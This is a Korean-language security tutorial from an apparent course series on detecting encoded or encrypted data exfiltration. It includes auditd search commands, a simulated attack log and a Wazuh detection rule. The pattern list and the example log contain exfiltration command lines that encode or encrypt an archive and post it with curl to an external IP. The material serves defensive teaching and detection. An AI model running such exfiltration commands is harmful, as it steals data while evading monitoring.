시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 31/50편 (전체 231/450)
학습 단계: 데이터 유출(exfiltration) 징후
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.
공격자는 데이터를 인코딩·난독화해 탐지(DLP·IDS)를 회피합니다. base64로 바이너리를 텍스트화하거나, hex·XOR로 내용을 변환해 전송하면 내용 기반 탐지가 어려워집니다.
인코딩·난독화 유출 패턴
base64: base64 data.tgz | curl -d @- (텍스트 전송)
hex: xxd -p data (16진수 변환)
XOR/암호: openssl enc로 암호화 후 전송
chunk: base64 후 분할 전송
목적: DLP/IDS의 내용 기반 탐지 회피
탐지: 인코딩 도구 + 전송 연계, 비정상 인코딩 트래픽
인코딩 자체는 정상 용도도 있지만, 중요 정보 접근 후 인코딩+전송 연계는 유출 회피 신호입니다.
| 인코딩 기법 | 목적 | 위험 |
|---|---|---|
base64 | 텍스트화(채널 우회) | 높음 |
xxd -p/hex | 16진수 변환 | 중간 |
openssl enc | 암호화 | 높음(내용 숨김) |
| XOR 스크립트 | 난독화 | 중간 |
| 인코딩+전송 | 유출 회피 | 높음 |
# 인코딩·난독화 유출 탐지 (분석 방법)
# 인코딩 도구 실행(중요 정보 대상)
sudo ausearch -k exfil -i --start recent 2>/dev/null | grep -oE 'proctitle=.*(base64|xxd|openssl enc|uuencode).*' | tail
# 인코딩 + 전송 파이프(프로세스 연계)
sudo ausearch -k exfil -i --start recent 2>/dev/null | grep -E 'base64|openssl' | tail
$ (인코딩 도구) (없음 또는 정상 용도 — 빌드·설정)
인코딩 도구가 정상 용도(빌드·설정 처리)에 그치고, 중요 정보 접근 후 인코딩+전송 연계가 없는 상태가 정상입니다.
$ (인코딩 도구)
04:05 proctitle="base64 /tmp/.d/all.tgz"
04:05 proctitle="openssl enc -aes-256-cbc -in all.tgz -out e.bin"
$ (전송 연계)
04:06 curl -d @e.bin http://192.0.2.88
인코딩 유출 흐름입니다(가상의 예시 로그).
[staging] all.tgz (E25·30)
↓
[인코딩] base64/openssl enc → e.bin (내용 변환)
↓ (DLP/IDS 내용 탐지 회피)
[전송] curl -d @e.bin 외부 (E32)
| 관찰 | 해석 |
|---|---|
| base64 data | 텍스트화 |
| openssl enc | 암호화(숨김) |
| 직후 curl | 회피 전송 |
| 접근 연계 | 유출 |
인코딩으로 변환된 데이터는 내용 탐지가 안 되므로, 인코딩+전송 연계로 포착합니다.
<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_e,exfiltration,">
<!-- 중요 정보 접근 후 인코딩/암호화(유출 회피) -->
<rule id="104300" level="11">
<if_sid>104280,104000</if_sid>
<field name="audit.proctitle" type="pcre2">(base64|xxd\s+-p|openssl\s+enc|uuencode|gpg\s+-c)</field>
<description>데이터 인코딩·암호화(유출 탐지 회피)</description>
<mitre><id>T1027</id><id>T1132</id></mitre>
</rule>
</group>
인코딩 단독은 정상일 수 있어, 중요 정보 접근(E09~24)·전송(E32)과 세션 상관해 유출 회피를 확정합니다.
| 인코딩 기법 | 목적 |
|---|---|
| base64 | 텍스트화(채널 우회) |
| xxd/hex | 16진수 변환 |
| openssl enc | 암호화(내용 숨김) |
| 인코딩+전송 | 유출 회피 |
| 면접 포인트 | "인코딩·암호화는 DLP/IDS 내용 탐지 회피 — 접근→인코딩→전송 연계로 포착" |
다음 편 232. 중요 정보 접근 — 외부 전송(아웃바운드) 유출 탐지 에서는 외부 전송 유출을 다루는 외부 전송(아웃바운드) 유출 탐지를 다룹니다.
이전 편: 230. 중요 정보 접근 — 압축·아카이브를 통한 유출 준비 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점